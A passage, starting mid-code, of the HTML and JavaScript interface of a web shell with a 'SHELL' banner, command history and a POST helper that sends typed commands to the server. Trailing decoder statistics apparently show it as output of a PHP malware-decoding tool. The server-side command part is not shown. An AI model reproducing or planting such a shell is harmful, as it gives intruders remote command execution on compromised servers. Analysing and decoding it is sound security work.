                                eShellCmdInput.focus();
                            });
                        }
                        break;
                    case "ArrowDown":
                        if (historyPosition >= commandHistory.length) {
                            break;
                        }
                        historyPosition++;
                        if (historyPosition === commandHistory.length) {
                            eShellCmdInput.value = "";
                        } else {
                            eShellCmdInput.blur();
                            eShellCmdInput.focus();
                            eShellCmdInput.value = commandHistory[historyPosition];
                        }
                        break;
                    case 'Tab':
                        event.preventDefault();
                        featureHint();
                        break;
                }
            }

            function insertToHistory(cmd) {
                commandHistory.push(cmd);
                historyPosition = commandHistory.length;
            }

            function makeRequest(url, params, callback) {
                function getQueryString() {
                    var a = [];
                    for (var key in params) {
                        if (params.hasOwnProperty(key)) {
                            a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
                        }
                    }
                    return a.join("&");
                }
                var xhr = new XMLHttpRequest();
                xhr.open("POST", url, true);
                xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
                xhr.onreadystatechange = function() {
                    if (xhr.readyState === 4 && xhr.status === 200) {
                        try {
                            var responseJson = JSON.parse(xhr.responseText);
                            callback(responseJson);
                        } catch (error) {
                            alert("Error while parsing response: " + error);
                        }
                    }
                };
                xhr.send(getQueryString());
            }

            document.onclick = function(event) {
                event = event || window.event;
                var selection = window.getSelection();
                var target = event.target || event.srcElement;

                if (target.tagName === "SELECT") {
                    return;
                }

                if (!selection.toString()) {
                    eShellCmdInput.focus();
                }
            };

            window.onload = function() {
                eShellCmdInput = document.getElementById("shell-cmd");
                eShellContent = document.getElementById("shell-content");
                updateCwd();
                eShellCmdInput.focus();
            };
        </script>
    </head>

    <body>
        <div id="shell">
            <pre id="shell-content">
                <div id="shell-logo">
   SSSSSSSSSSSSSSS HHHHHHHHH     HHHHHHHHHEEEEEEEEEEEEEEEEEEEEEELLLLLLLLLLL             LLLLLLLLLLL             
 SS:::::::::::::::SH:::::::H     H:::::::HE::::::::::::::::::::EL:::::::::L             L:::::::::L             
S:::::SSSSSS::::::SH:::::::H     H:::::::HE::::::::::::::::::::EL:::::::::L             L:::::::::L             
S:::::S     SSSSSSSHH::::::H     H::::::HHEE::::::EEEEEEEEE::::ELL:::::::LL             LL:::::::LL             
S:::::S              H:::::H     H:::::H    E:::::E       EEEEEE  L:::::L                 L:::::L               
S:::::S              H:::::H     H:::::H    E:::::E               L:::::L                 L:::::L               
 S::::SSSS           H::::::HHHHH::::::H    E::::::EEEEEEEEEE     L:::::L                 L:::::L               
  SS::::::SSSSS      H:::::::::::::::::H    E:::::::::::::::E     L:::::L                 L:::::L               
    SSS::::::::SS    H:::::::::::::::::H    E:::::::::::::::E     L:::::L                 L:::::L               
       SSSSSS::::S   H::::::HHHHH::::::H    E::::::EEEEEEEEEE     L:::::L                 L:::::L               
            S:::::S  H:::::H     H:::::H    E:::::E               L:::::L                 L:::::L               
            S:::::S  H:::::H     H:::::H    E:::::E       EEEEEE  L:::::L         LLLLLL  L:::::L         LLLLLL
SSSSSSS     S:::::SHH::::::H     H::::::HHEE::::::EEEEEEEE:::::ELL:::::::LLLLLLLLL:::::LLL:::::::LLLLLLLLL:::::L
S::::::SSSSSS:::::SH:::::::H     H:::::::HE::::::::::::::::::::EL::::::::::::::::::::::LL::::::::::::::::::::::L
S:::::::::::::::SS H:::::::H     H:::::::HE::::::::::::::::::::EL::::::::::::::::::::::LL::::::::::::::::::::::L
 SSSSSSSSSSSSSSS   HHHHHHHHH     HHHHHHHHHEEEEEEEEEEEEEEEEEEEEEELLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL
                </div>
            </pre>
            <div id="shell-input">
                <label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label>
                <div>
                    <input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>
                </div>
            </div>
        </div>
    </body>

</html>

Function Calls

None

Variables

None

Stats

MD5 05e8b200e08eac12cff3f8e77765ea6b
Eval Count 0
Decode Time 83 ms